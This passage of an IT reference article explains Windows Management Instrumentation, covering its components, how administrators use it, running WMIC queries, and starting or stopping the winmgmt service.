  1. WMI consumers
  • Management application, script interacting with WMI infrastructure to:
  • Query, enumerate data
  • Run provider methods
  • Subscribe to events
CIM in PowerShell

Some cmdlets for CIM integration in PowerShell.

Windows Management Instrumentation components

Key WMI components are:

  • Managed objects: Objects are any physical entity/component or service that are managed via WMI, such as a hard disk drive, network adapter or OS.
  • WMI provider: Component Object Model (COM) objects that monitor one or more managed objects for WMI.
  • WMI infrastructure: A Windows operating system component that consists of the WMI Core and WMI Repository.
  • WMI Repository: A central storage area managed by CIMOM and organized by WMI namespaces that stores static data about objects, such as the classes the WMI provider defines.
  • WMI service: Serves as an intermediary between the management applications (providers) and the WMI Repository.
  • WMI consumers: A management application or script that sends queries by calling the COM API for WMI or the scripting API for WMI.

How do admins use WMI?

Administrators can use WMI in all Windows-based applications. It is especially effective in enterprise applications and administrative scripts. Popular uses of WMI include:

  • Managing remote computers
  • Sharing management information between applications
  • Accessing management data from any source in a uniform manner
  • Monitoring Windows-based systems and networks
  • Monitoring activities across an enterprise network as part of a user entity behavior analytics (UEBA) system
  • Monitoring anomalous events and potentially suspicious behaviors, and checking for insider threats

Running a WMI query

The easiest way to run a WMI query is to run WMIC in the standard Windows command prompt:

  1. Open the command prompt.
  2. Type WMIC and press enter to invoke the program.
  3. Once the WMIC command prompt opens, run different WMI queries and get the required information as output.
  4. The results will be displayed in the command prompt.
PowerShell and WMI

PowerShell can interface with Windows Management Interface (WMI) to allow admins use the PowerShell scripting language in conjunction with WMI data.

Starting and stopping a WMI service

The winmgmt.exe service allows WMI to run on a local computer. WMI is initiated automatically at system startup or it starts automatically when the first management/monitoring application or script seeks a connection to the WMI namespace.

To start a WMI service:

  1. Navigate to the command prompt
  2. Enter net start winmgmt[/<switch>]
  3. Depending on the WMI service, some services will not start automatically

To stop a WMI service:

  1. Navigate to the command prompt
  2. Enter net stop winmgmt

Note: By stopping the WMI service, all dependent services will also stop.

Windows Management Infrastructure

The current generation of WMI is known as Windows Management Infrastructure (MI). The MI API contains the interfaces, enumerations, structures and unions that developers need to create native WMI providers and clients. According to Microsoft, WMI is fully compatible with previous versions of WMI, which means newer version written using the MI framework can be accessed using WMI scripts and applications.

This was last updated in November 2021


Continue Reading About Windows Management Instrumentation (WMI)

  • How to use WMI and the CIM standard with Windows PowerShell
  • How to use WMI with Windows PowerShell scripts
  • Build a PowerShell logging function for troubleshooting
  • How IT admins can use PowerShell to monitor CPU usage
  • SCCM vs. Intune: A closer look at the capabilities of each

Dig Deeper on IT operations and infrastructure management

  • What is the Windows Management Instrumentation Command-line (WMIC) utility?

    By: Rahul Awati

  • Common Information Model (CIM)

    By: Gary Olsen

  • How to use Python for privilege escalation in Windows

    By: Kyle Johnson

  • Windows Admin Center lures IT pros with Azure integration

    By: Dan Franciscus

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Как отформатировать флешку в fat32 на windows 10 невозможно отформатировать
  • Windows black theme for windows 10
  • Как посмотреть свою материнскую плату через пк windows 10
  • Как полностью удалить брандмауэр windows 10
  • Программе установки не удалось инициализировать рабочий каталог windows 10